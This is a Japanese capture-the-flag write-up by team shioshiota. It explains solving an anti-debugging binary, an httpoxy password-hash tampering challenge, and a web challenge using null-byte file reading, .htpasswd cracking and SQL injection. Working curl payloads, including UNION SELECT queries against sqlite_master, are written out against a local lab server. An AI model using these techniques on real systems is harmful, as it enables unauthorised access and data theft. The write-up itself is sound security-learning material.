チームshioshiotaで参加して結果は2000点で39位でした。
傾向が変わって普通のCTFの問題が多いように見えました。
Anti-Debugging
パスワードが合うとデバッガ検知して落とす処理が入ってる。
デバッガを立ち上げない状態でやっても1/0とかやっててうまくいかないので、デバッガ検知の回避が必要。
ただ、デバッガ検知した後に分岐してexitするタイプだったのでIDA Proで分岐潰しまくるだけでいけた。
pppppoxy
少し触ってみて、問題名がproxyじゃなくてpoxyなのでhttpoxyの脆弱性調べてみたらそれっぽかった。
Burp Suiteで、Proxy: http://localhost:8080/ ヘッダをつけてやるとユーザのパスワードのmd5のハッシュを取る通信が取れた。
通信が取れたのはいいもののadminのハッシュがググっても出てこないからどうしたもんかと思ったけど、逆に考えて通信改竄で1のmd5値にしたらadmin:1でログインできた。
uncomfortable web
HTTPリクエストではなくスクリプトファイルをアップロードしてローカルのサーバを攻撃する問題。
まず、/select.cgiを調べたらtxtパラメータに%00を末尾につけることで任意のファイルを読み込める事が分かったので、/authed/.htpasswdを取得。
.htpasswdはjohnでパスワードを復元したらtestだと分かったので、/authed/sqlinjに入れた。
sqlinjディレクトリの中には無駄に100個もcgiがあったので、下のようにforで全部に対してSQLインジェクションの検査をしてみたら72.cgiだけSQLインジェクションができるっぽい事が分かった。
for i in `seq 1 100`
do
curl --user keigo:test "http://127.0.0.1:81/authed/sqlinj/$i.cgi?no=4822267938%27%7c%7c%27"
done
sqlmapが使えなくて面倒だけどいろいろやったら、sqliteのDBなので下のようにUNIONを使ってsqlite_masterからDB情報抜けば良い事が分かった。最後にf1agsテーブルからf1agを抜くところでflagとしてしまって無駄に時間食った。
curl --user keigo:test 'http://127.0.0.1:81/authed/sqlinj/72.cgi?no=%27+OR+%271%27=%271%27+UNION+ALL+SELECT+sql%2cname%2ctbl_name+FROM+sqlite_master%3b--+'
curl --user keigo:test 'http://127.0.0.1:81/authed/sqlinj/72.cgi?no=%27+OR+%271%27=%271%27+UNION+ALL+SELECT+f1ag%2cf1ag%2cf1ag+FROM+f1ags%3b--+'